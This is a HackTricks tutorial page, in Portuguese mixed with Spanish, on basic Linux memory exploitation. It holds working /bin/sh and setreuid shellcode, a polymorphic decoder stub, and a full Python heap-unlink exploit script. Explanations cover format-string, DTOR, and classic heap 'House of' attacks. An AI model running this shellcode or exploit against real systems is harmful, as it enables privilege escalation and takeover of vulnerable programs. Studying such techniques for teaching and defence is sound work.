hacktricks/exploiting/linux-exploiting-basic-esp/README.md

657 lines
38 KiB
Markdown
Raw Normal View History

# Exploração no Linux (Básico)
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
2022-04-28 16:01:33 +00:00
</details>
2022-05-01 13:25:53 +00:00
## **2.SHELLCODE**
Ver interrupções de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
2022-02-28 09:13:08 +00:00
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; limpiamos eax\
xor ebx, ebx ; ebx = 0 pois não há argumento para passar\
2022-02-28 09:13:08 +00:00
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Executar syscall
**nasm -f elf assembly.asm** —> Retorna um .o\
**ld assembly.o -o shellcodeout** —> Gera um executável com o código assembly e podemos extrair os opcodes com **objdump**\
**objdump -d -Mintel ./shellcodeout** —> Para verificar se é realmente nosso shellcode e extrair os OpCodes
2023-08-29 18:57:50 +00:00
**Verificar se o shellcode funciona**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
Para verificar se as chamadas de sistema estão sendo feitas corretamente, compile o programa anterior e as chamadas de sistema devem aparecer em **strace ./PROGRAMA\_COMPILADO**
2023-08-29 18:57:50 +00:00
Ao criar shellcodes, um truque pode ser realizado. A primeira instrução é um salto para uma chamada. A chamada chama o código original e também coloca o EIP na pilha. Após a instrução de chamada, inserimos a string necessária, para que com esse EIP possamos apontar para a string e continuar executando o código.
2023-08-29 18:57:50 +00:00
EX **TRUQUE (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**EJ usando o Stack(/bin/sh):**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
**Caçador de Ovos:**
Consiste em um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode ali armazenada (procura por alguma assinatura na shellcode). Útil nos casos em que há pouco espaço disponível para injetar código.
**Shellcodes Polimórficos**
São shells cifrados que possuem um pequeno código que os descriptografa e salta para ele, usando o truque de Call-Pop, este seria um **exemplo de cifra de César**:
```
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
```
## **5. Métodos complementares**
2022-04-28 23:27:22 +00:00
**Ret2Ret**
Útil quando não é possível inserir um endereço de stack no EIP (verifica-se que o EIP não contém 0xbf) ou quando não é possível calcular a localização da shellcode. No entanto, a função vulnerável aceita um parâmetro (onde a shellcode será colocada).
Dessa forma, ao alterar o EIP por um endereço de **ret**, a próxima instrução será carregada (que é o endereço do primeiro argumento da função). Ou seja, a shellcode será carregada.
O exploit seria: SHELLCODE + Preenchimento (até o EIP) + **\&ret** (os próximos bytes da pilha apontam para o início da shellcode, pois o endereço do argumento passado é colocado na pilha)
2023-08-29 18:57:50 +00:00
Parece que funções como **strncpy**, uma vez completas, removem da pilha o endereço onde a shellcode estava armazenada, impossibilitando essa técnica. Ou seja, o endereço passado para a função como argumento (que armazena a shellcode) é modificado por um 0x00, então ao chamar o segundo **ret**, encontra-se com um 0x00 e o programa trava.
**Técnica de Murat**
No Linux, todos os programas são mapeados começando em 0xbfffffff.
Observando como a pilha de um novo processo é construída no Linux, é possível desenvolver um exploit de modo que o programa seja iniciado em um ambiente onde a única variável seja a shellcode. O endereço dela pode ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME\_do\_executável\_completo) - strlen(shellcode)
Dessa forma, é possível obter facilmente o endereço onde está a variável de ambiente com a shellcode.
Isso é possível graças à função execle, que permite criar um ambiente com apenas as variáveis de ambiente desejadas.
2023-06-06 18:56:34 +00:00
**Jump to ESP: Estilo Windows**
Como o ESP está sempre apontando para o início da pilha, essa técnica consiste em substituir o EIP pelo endereço de uma chamada para **jmp esp** ou **call esp**. Assim, a shellcode é armazenada após a sobrescrita do EIP, pois após executar o **ret**, o ESP estará apontando para o próximo endereço, exatamente onde a shellcode foi armazenada.
Caso o ASLR não esteja ativo no Windows ou Linux, é possível chamar **jmp esp** ou **call esp** armazenados em algum objeto compartilhado. Se o ASLR estiver ativo, pode-se procurar dentro do próprio programa vulnerável.
Além disso, o fato de poder colocar a shellcode após a corrupção do EIP em vez de no meio da pilha permite que as instruções push ou pop executadas no meio da função não afetem a shellcode (o que poderia ocorrer se estivesse no meio da pilha da função).
De forma muito semelhante a isso, se soubermos que uma função retorna o endereço onde a shellcode está armazenada, é possível chamar **call eax** ou **jmp eax (ret2eax).**
**Estouro de inteiros**
2023-08-29 18:57:50 +00:00
Esse tipo de estouro ocorre quando uma variável não está preparada para suportar um número tão grande quanto o que é passado, possivelmente devido a uma confusão entre variáveis com e sem sinal, por exemplo:
2020-11-28 20:03:33 +00:00
```c
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
2020-11-28 20:03:33 +00:00
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
2020-11-28 20:03:33 +00:00
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
2020-11-28 20:03:33 +00:00
printf("\nIntento de hack\n");
return 0;
}
```
En exemplo anterior, vemos que o programa espera 2 parâmetros. O primeiro é o comprimento da próxima string e o segundo é a string.
Se passarmos um número negativo como primeiro parâmetro, será exibido que len < 256 e passaremos por esse filtro, e também strlen(buffer) será menor que l, pois l é um unsigned int e será muito grande.
Esse tipo de overflow não busca escrever algo no processo do programa, mas sim contornar filtros mal projetados para explorar outras vulnerabilidades.
2023-06-06 18:56:34 +00:00
**Variáveis não inicializadas**
Não se sabe o valor que uma variável não inicializada pode assumir e pode ser interessante observar isso. Pode ser que ela assuma o valor que uma variável da função anterior assumia e que essa variável seja controlada pelo atacante.
##
###
###
###
### **.fini\_array**
Essencialmente, esta é uma estrutura com **funções que serão chamadas** antes do programa terminar. Isso é interessante se você puder chamar seu **shellcode apenas pulando para um endereço**, ou em casos em que você precisa voltar ao main novamente para **explorar a string de formato uma segunda vez**.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
```
Note que isso **não** criará um **loop eterno** porque quando você voltar para o principal, o canário perceberá, o final da pilha pode estar corrompido e a função não será chamada novamente. Portanto, com isso você poderá **ter mais 1 execução** da vulnerabilidade.
2023-08-29 18:57:50 +00:00
### **Formatar Strings para Extrair Conteúdo**
Uma string de formatação também pode ser abusada para **extrair conteúdo** da memória do programa.\
Por exemplo, na seguinte situação há uma **variável local na pilha apontando para uma flag**. Se você **encontrar** onde na **memória** o **ponteiro** para a **flag** está, você pode fazer o **printf acessar** esse **endereço** e **imprimir** a **flag**:
2023-06-06 18:56:34 +00:00
Então, a flag está em **0xffffcf4c**
![](<../../.gitbook/assets/image (618) (2).png>)
E a partir do vazamento você pode ver que o **ponteiro para a flag** está no **8º** parâmetro:
![](<../../.gitbook/assets/image (623).png>)
Portanto, **acessando** o **8º parâmetro** você pode obter a flag:
![](<../../.gitbook/assets/image (624).png>)
Note que seguindo o **exploit anterior** e percebendo que você pode **vazar conteúdo**, você pode **definir ponteiros** para o **`printf`** na seção onde o **executável** está **carregado** e **extrair** ele **inteiramente**!
2022-05-01 13:25:53 +00:00
### **DTOR**
{% hint style="danger" %}
Atualmente é muito **incomum encontrar um binário com uma seção dtor**.
{% endhint %}
2023-06-06 18:56:34 +00:00
Os destrutores são funções que são **executadas antes do programa terminar**.\
Se você conseguir **escrever** um **endereço** para um **shellcode** em **`__DTOR_END__`**, isso será **executado** antes do programa terminar.\
2023-06-06 18:56:34 +00:00
Obtenha o endereço desta seção com:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Normalmente você encontrará a seção **DTOR** **entre** os valores `ffffffff` e `00000000`. Portanto, se você apenas ver esses valores, significa que **não há nenhuma função registrada**. Portanto, **sobrescreva** o **`00000000`** com o **endereço** do **shellcode** para executá-lo.
2023-08-29 18:57:50 +00:00
### **Strings de Formato para Estouros de Buffer**
O **sprintf** move uma string formatada para uma **variável**. Portanto, você poderia abusar da **formatação** de uma string para causar um **estouro de buffer na variável** para onde o conteúdo é copiado.\
Por exemplo, a carga `%.44xAAAA` irá **escrever 44B+"AAAA" na variável**, o que pode causar um estouro de buffer.
### **Estruturas \_\_atexit**
{% hint style="danger" %}
Atualmente é muito **incomum explorar isso**.
{% endhint %}
**`atexit()`** é uma função para a qual **outras funções são passadas como parâmetros**. Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\
Se você puder **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para um shellcode, por exemplo, você **obterá controle** sobre o **processo**, mas atualmente isso é mais complicado.\
Atualmente, os **endereços das funções** a serem executadas estão **ocultos** por várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas são **criptografados com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente esse vetor de ataque não é muito útil, pelo menos em x86 e x64\_86.\
A função de **criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque **retornam o mesmo** que receberam como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.
2022-05-01 13:25:53 +00:00
### **setjmp() & longjmp()**
{% hint style="danger" %}
Atualmente é muito **incomum explorar isso**.
{% endhint %}
2023-06-06 18:56:34 +00:00
**`Setjmp()`** permite **salvar** o **contexto** (os registradores)\
**`longjmp()`** permite **restaurar** o **contexto**.\
2023-06-06 18:56:34 +00:00
Os **registradores salvos** são: `EBX, ESI, EDI, ESP, EIP, EBP`\
O que acontece é que EIP e ESP são passados pela função **`PTR_MANGLE`**, então as **arquiteturas vulneráveis a esse ataque são as mesmas acima**.\
2023-06-06 18:56:34 +00:00
Eles são úteis para recuperação de erros ou interrupções.\
No entanto, pelo que li, os outros registradores não são protegidos, **então se houver um `call ebx`, `call esi` ou `call edi`** dentro da função chamada, o controle pode ser assumido. Ou você também poderia modificar EBP para modificar o ESP.
2023-06-06 18:56:34 +00:00
**VTable e VPTR em C++**
Cada classe tem uma **Vtable** que é um array de **ponteiros para métodos**.
Cada objeto de uma **classe** tem um **VPtr** que é um **ponteiro** para o array de sua classe. O VPtr faz parte do cabeçalho de cada objeto, então se uma **sobrescrita** do **VPtr** for alcançada, poderia ser **modificado** para **apontar** para um método fictício para que a execução de uma função vá para o shellcode.
## **Medidas Preventivas e Evasões**
###
**Substituição do Libsafe**
Ativado por: LD\_PRELOAD=/lib/libsafe.so.2\
2023-06-06 18:56:34 +00:00
ou\
“/lib/libsave.so.2” > /etc/ld.so.preload
Ele intercepta chamadas para algumas funções inseguras por outras seguras. Não é padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não para compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD\_PRELOAD não funciona em binários com suid).
**Espaço de Endereço ASCII Armored**
Consiste em carregar as bibliotecas compartilhadas de 0x00000000 a 0x00ffffff para que sempre haja um byte 0x00. No entanto, isso realmente não impede quase nenhum ataque, especialmente em little endian.
**ret2plt**
Consiste em realizar um ROP de forma que a função strcpy@plt (da plt) seja chamada e aponte para a entrada da GOT e copie o primeiro byte da função que se deseja chamar (system()). Em seguida, o mesmo é feito apontando para GOT+1 e copiando o 2º byte de system()... Por fim, a chamada é feita para o endereço armazenado na GOT que será system()
**Jaulas com chroot()**
debootstrap -arch=i386 hardy /home/user —> Instala um sistema básico em um subdiretório específico
Um administrador pode sair dessas jaulas fazendo: mkdir foo; chroot foo; cd ..
**Instrumentação de Código**
Valgrind —> Procura por erros\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Estouros de Heap: Exploits Básicos**
**Chunk Alocado**
prev\_size |\
size | —Cabeçalho\
\*mem | Dados
**Chunk Livre**
prev\_size |\
size |\
\*fd | Ptr chunk seguinte\
\*bk | Ptr chunk anterior —Cabeçalho\
\*mem | Dados
Os chunks livres estão em uma lista duplamente encadeada (bin) e nunca podem haver dois chunks livres juntos (eles são unidos)
No “size” há bits para indicar: Se o chunk anterior está em uso, se o chunk foi alocado por meio de mmap() e se o chunk pertence à arena primária.
Ao liberar um chunk, se algum dos chunks contíguos estiver livre, eles são fundidos pela macro unlink() e o novo chunk maior é passado para frontlink() para que seja inserido no bin apropriado.
unlink(){\
BK = P->bk; —> O BK do novo chunk é o que o chunk que já estava livre antes tinha\
FD = P->fd; —> O FD do novo chunk é o que o chunk que já estava livre antes tinha\
FD->bk = BK; —> O BK do chunk seguinte aponta para o novo chunk\
BK->fd = FD; —> O FD do chunk anterior aponta para o novo chunk\
}
Portanto, se conseguirmos modificar o P->bk com o endereço de um shellcode e o P->fd com o endereço de uma entrada na GOT ou DTORS menos 12, é possível:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
E assim, o shellcode é executado ao sair do programa.
Além disso, a 4ª instrução de unlink() escreve algo e o shellcode precisa ser ajustado para isso:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Isso resulta na escrita de 4 bytes a partir do 8º byte do shellcode, então a primeira instrução do shellcode deve ser um jmp para pular isso e chegar a uns nops que levem ao restante do shellcode.
Portanto, o exploit é criado:
No buffer1, insira o shellcode começando com um jmp para que ele caia nos nops ou no restante do shellcode.
Após o shellcode, insira preenchimento até chegar ao campo prev\_size e size do próximo chunk. Nestes locais, insira 0xfffffff0 (para sobrescrever o prev\_size para que tenha o bit que indica que está livre) e “-4” (0xfffffffc) no size (para que, ao verificar no 3º chunk se o 2º estava livre, na realidade vá para o prev\_size modificado que dirá que está livre) -> Assim, quando o free() investigar, ele irá para o size do 3º, mas na realidade irá para o 2º - 4 e pensará que o 2º chunk está livre. E então chamará **unlink()**.
Ao chamar unlink(), ele usará os primeiros dados do 2º chunk como P->fd, então o endereço que se deseja sobrescrever - 12 (pois em FD->bk ele adicionará 12 ao endereço armazenado em FD) será inserido lá. E nesse endereço, insira o segundo endereço encontrado no 2º chunk, que deve ser o endereço do shellcode (P->bk falso).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev\_size) pues es ahí donde mira si el 2º trozo está libre**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno**
**got\_free = pack("\<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Se modifica el 2º trozo, el got\_free apunta a donde vamos a guardar la direccion addr\_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() liberando en sentido inverso (wargame)**
Estamos controlando 3 chunks consecutivos y se liberan en orden inverso al reservado.
En ese caso:
En el chunck c se pone el shellcode
El chunck a lo usamos para sobreescribir el b de forma que el el size tenga el bit PREV\_INUSE desactivado de forma que piense que el chunck a está libre.
Además, se sobreescribe en la cabecera b el size para que valga -4.
Entonces, el programa se pensará que “a” está libre y en un bin, por lo que llamará a unlink() para desenlazarlo. Sin embargo, como la cabecera PREV\_SIZE vale -4. Se pensará que el trozo de “a” realmente empieza en b+4. Es decir, hará un unlink() a un trozo que comienza en b+4, por lo que en b+12 estará el puntero “fd” y en b+16 estará el puntero “bk”.
De esta forma, si en bk ponemos la dirección a la shellcode y en fd ponemos la dirección a la función “puts()”-12 tenemos nuestro payload.
**Técnica de Frontlink**
Se llama a frontlink cuando se libera algo y ninguno de sus trozos contiguos no son libres, no se llama a unlink() sino que se llama directamente a frontlink().
Vulnerabilidad útil cuando el malloc que se ataca nunca es liberado (free()).
Necesita:
Un buffer que pueda desbordarse con la función de entrada de datos
Un buffer contiguo a este que debe ser liberado y al que se le modificará el campo fd de su cabecera gracias al desbordamiento del buffer anterior
Un buffer a liberar con un tamaño mayor a 512 pero menor que el buffer anterior
Un buffer declarado antes del paso 3 que permita sobreescribir el prev\_size de este
De esta forma logrando sobres cribar en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos hacer un exploit.
**Vulnerabilidad double free()**
Si se llama dos veces a free() con el mismo puntero, quedan dos bins apuntando a la misma dirección.
En caso de querer volver a usar uno se asignaría sin problemas. En caso de querer usar otro, se le asignaría el mismo espacio por lo que tendríamos los punteros “fd” y “bk” falseados con los datos que escribirá la reserva anterior.
**After free()**
Un puntero previamente liberado es usado de nuevo sin control.
## **8 Heap Overflows: Exploits avanzados**
Las técnicas de Unlink() y FrontLink() fueron eliminadas al modificar la función unlink().
**The house of mind**
Solo una llamada a free() es necesaria para provocar la ejecución de código arbitrario. Interesa buscar un segundo trozo que puede ser desbordado por uno anterior y liberado.
Una llamada a free() provoca llamar a public\_fREe(mem), este hace:
mstate ar\_ptr;
mchunkptr p;
p = mem2chunk(mes); —> Devuelve un puntero a la dirección donde comienza el trozo (mem-8)
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
\_int\_free(ar\_ptr, mem);
}
En \[1] comprueba el campo size el bit NON\_MAIN\_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap\_for\_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar\_ptr (como si fuese un struct heap\_info)
De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap\_for\_ptr(ptr)->ar\_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar\_ptr)
De esta forma se llama a \_int\_free(ar\_ptr, mem), es decir, **\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void\_t\* mem){**\
…\
bck = unsorted\_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar.
Tal y como se define unsorted\_chunks, sabemos que:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Por lo tanto si en av->bins\[2] escribimos el valor de \_\_DTOR\_END\_\_-12 en la última instrucción se escribirá en \_\_DTOR\_END\_\_ la dirección del segundo trozo.
Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR\_END\_\_-12 porque de ahí la sacará av->bins\[2]
En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap\_for\_ptr() piense que el ar\_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2]
En el segundo trozo y gracias al primero sobreescribimos el prev\_size con un jump 0x0c y el size con algo para activar -> NON\_MAIN\_ARENA
A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode
De esta forma se llamará a \_int\_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en \_\_DTOR\_END\_\_ la dirección del prev\_size del TROZO2 el cual saltará a la shellcode.
Para aplicar esta técnica, é necessário atender a alguns requisitos adicionais que complicam um pouco mais o payload.
Esta técnica não é mais aplicável, pois foi aplicado quase o mesmo patch que para unlink. Verifica-se se o novo local para onde se aponta também está apontando para ele.
**Fastbin**
É uma variante de The house of mind
Interessa-nos executar o seguinte código após a primeira verificação da função \_int\_free()
fb = &(av->fastbins\[fastbin\_index(size)] —> Sendo fastbin\_index(sz) —> (sz >> 3) - 2
p->fd = \*fb
\*fb = p
Desta forma, se for colocado em "fb", ele aponta para uma função na GOT, onde será colocada a direção do chunk sobrescrito. Para isso, é necessário que a arena esteja próxima das direções de dtors. Mais precisamente, av->max\_fast deve estar na direção que será sobrescrita.
Dado que com The House of Mind vimos que controlávamos a posição do av.
Então, se no campo size for inserido um tamanho de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() retornará fastbins\[-1\], que apontará para av->max\_fast
Neste caso, av->max\_fast será a direção que será sobrescrita (não para onde aponta, mas essa posição será sobrescrita).
Além disso, é necessário que o chunk adjacente ao liberado seja maior que 8 -> Como mencionamos que o tamanho do chunk liberado é 8, neste chunk falso só precisamos colocar um tamanho maior que 8 (além disso, a shellcode estará no chunk liberado, então no início teremos que colocar um jmp que caia em nops).
Além disso, esse mesmo chunk falso deve ser menor que av->system\_mem. av->system\_mem está 1848 bytes adiante.
Devido aos nulos de \_DTOR\_END\_ e às poucas direções na GOT, nenhum desses endereços dessas seções serve para serem sobrescritos, então vejamos como aplicar fastbin para atacar a pilha.
Outra forma de ataque é redirecionar o **av** para a pilha.
Se modificarmos o size para ser 16 em vez de 8, então: fastbin\_index() retornará fastbins\[0\] e podemos usar isso para sobrescrever a pilha.
Para isso, não deve haver nenhum canary ou valores estranhos na pilha, na verdade, devemos encontrar o seguinte: 4 bytes nulos + EBP + RET
Os 4 bytes nulos são necessários para que o **av** esteja nessa direção e o primeiro elemento de um **av** é o mutex que deve ser igual a 0.
O **av->max\_fast** será o EBP e será um valor que nos permitirá ignorar as restrições.
No **av->fastbins\[0\]** será sobrescrito com o endereço de **p** e será o RET, assim a shellcode será executada.
Além disso, em **av->system\_mem** (1484 bytes acima da posição na pilha) haverá bastante lixo que nos permitirá ignorar a verificação que é realizada.
Além disso, é necessário que o chunk adjacente ao liberado seja maior que 8 -> Como mencionamos que o tamanho do chunk liberado é 16, neste chunk falso só precisamos colocar um tamanho maior que 8 (além disso, a shellcode estará no chunk liberado, então no início teremos que colocar um jmp que caia em nops que vêm após o campo size do novo chunk falso).
**The House of Spirit**
Neste caso, buscamos ter um ponteiro para um malloc que possa ser alterado pelo atacante (por exemplo, o ponteiro está na pilha abaixo de um possível overflow para uma variável).
Assim, poderíamos fazer com que esse ponteiro apontasse para onde quer que fosse. No entanto, nem todo local é válido, o tamanho do chunk falso deve ser menor que av->max\_fast e mais especificamente igual ao tamanho solicitado em uma chamada futura para malloc()+8. Portanto, se soubermos que após esse ponteiro vulnerável é feita uma chamada para malloc(40), o tamanho do chunk falso deve ser igual a 48.
Por exemplo, se o programa perguntar ao usuário por um número, poderíamos inserir 48 e apontar o ponteiro de malloc modificável para os próximos 4 bytes (que poderiam pertencer ao EBP com sorte, assim o 48 ficaria atrás, como se fosse o cabeçalho size). Além disso, o endereço ptr-4+48 deve atender a várias condições (sendo neste caso ptr=EBP), ou seja, 8 < ptr-4+48 < av->system\_mem.
Caso isso seja cumprido, quando a próxima chamada para malloc que dissemos que era malloc(40) for feita, o endereço atribuído será o endereço do EBP. Caso o atacante também possa controlar o que é escrito nesse malloc, ele pode sobrescrever tanto o EBP quanto o EIP com o endereço desejado.
Acredito que isso ocorre porque quando o free() é chamado, ele armazenará que no endereço apontado pelo EBP da pilha há um chunk de tamanho perfeito para o novo malloc() que está sendo reservado, então ele atribui esse endereço.
**The House of Force**
É necessário:
* Um overflow para um chunk que permita sobrescrever o wilderness
* Uma chamada para malloc() com o tamanho definido pelo usuário
* Uma chamada para malloc() cujos dados possam ser definidos pelo usuário
O primeiro passo é sobrescrever o tamanho do chunk wilderness com um valor muito grande (0xffffffff), para que qualquer solicitação de memória grande seja tratada em \_int\_malloc() sem a necessidade de expandir o heap.
O segundo passo é alterar o av->top para apontar para uma área de memória sob o controle do atacante, como a pilha. Em av->top, será colocado \&EIP - 8.
É necessário sobrescrever av->top para apontar para a área de memória sob o controle do atacante:
vítima = av->top;
restante = chunck\_at\_offset(vítima, nb);
av->top = restante;
A vítima obtém o valor da direção do chunk wilderness atual (o av->top atual) e o restante é exatamente a soma dessa direção mais a quantidade de bytes solicitados por malloc(). Portanto, se \&EIP-8 estiver em 0xbffff224 e av->top contiver 0x080c2788, então a quantidade que precisamos reservar no malloc controlado para que av->top aponte para $EIP-8 para o próximo malloc() será:
0xbffff224 - 0x080c2788 = 3086207644.
Assim, o valor alterado será armazenado em av->top e o próximo malloc apontará para o EIP e poderá ser sobrescrito.
É importante que o tamanho do novo chunk wilderness seja maior que a solicitação feita pelo último malloc(). Ou seja, se o wilderness estiver apontando para \&EIP-8, o tamanho ficará exatamente no campo EBP da pilha.
**The House of Lore**
**Corrupção SmallBin**
Os chunks liberados são inseridos no bin de acordo com seu tamanho. Mas antes de serem inseridos, são armazenados em unsorted bins. Quando um chunk é liberado, ele não é imediatamente colocado em seu bin, mas permanece em unsorted bins. Em seguida, se um novo chunk for reservado e o anterior liberado puder ser útil, ele será retornado, mas se for reservado um chunk maior, o chunk liberado em unsorted bins será colocado em seu bin apropriado.
Para alcançar o código vulnerável, a solicitação de memória deve ser maior que av->max\_fast (normalmente 72) e menor que MIN\_LARGE\_SIZE (512).
Se houver um chunk no bin do tamanho adequado ao que está sendo solicitado, ele será retornado após ser desvinculado:
bck = vítima->bk; Aponta para o chunk anterior, é a única informação que podemos alterar.
bin->bk = bck; O penúltimo chunk se torna o último, caso bck aponte para a pilha, o próximo chunk reservado receberá esse endereço.
bck->fd = bin; A lista é fechada fazendo com que ele aponte para bin
São necessários:
Reserve dois malloc, de modo que o primeiro possa sofrer overflow após o segundo ter sido liberado e inserido em seu bin (ou seja, um malloc maior que o segundo deve ser reservado antes do overflow).
O malloc reservado com o endereço escolhido pelo atacante deve ser controlado pelo atacante.
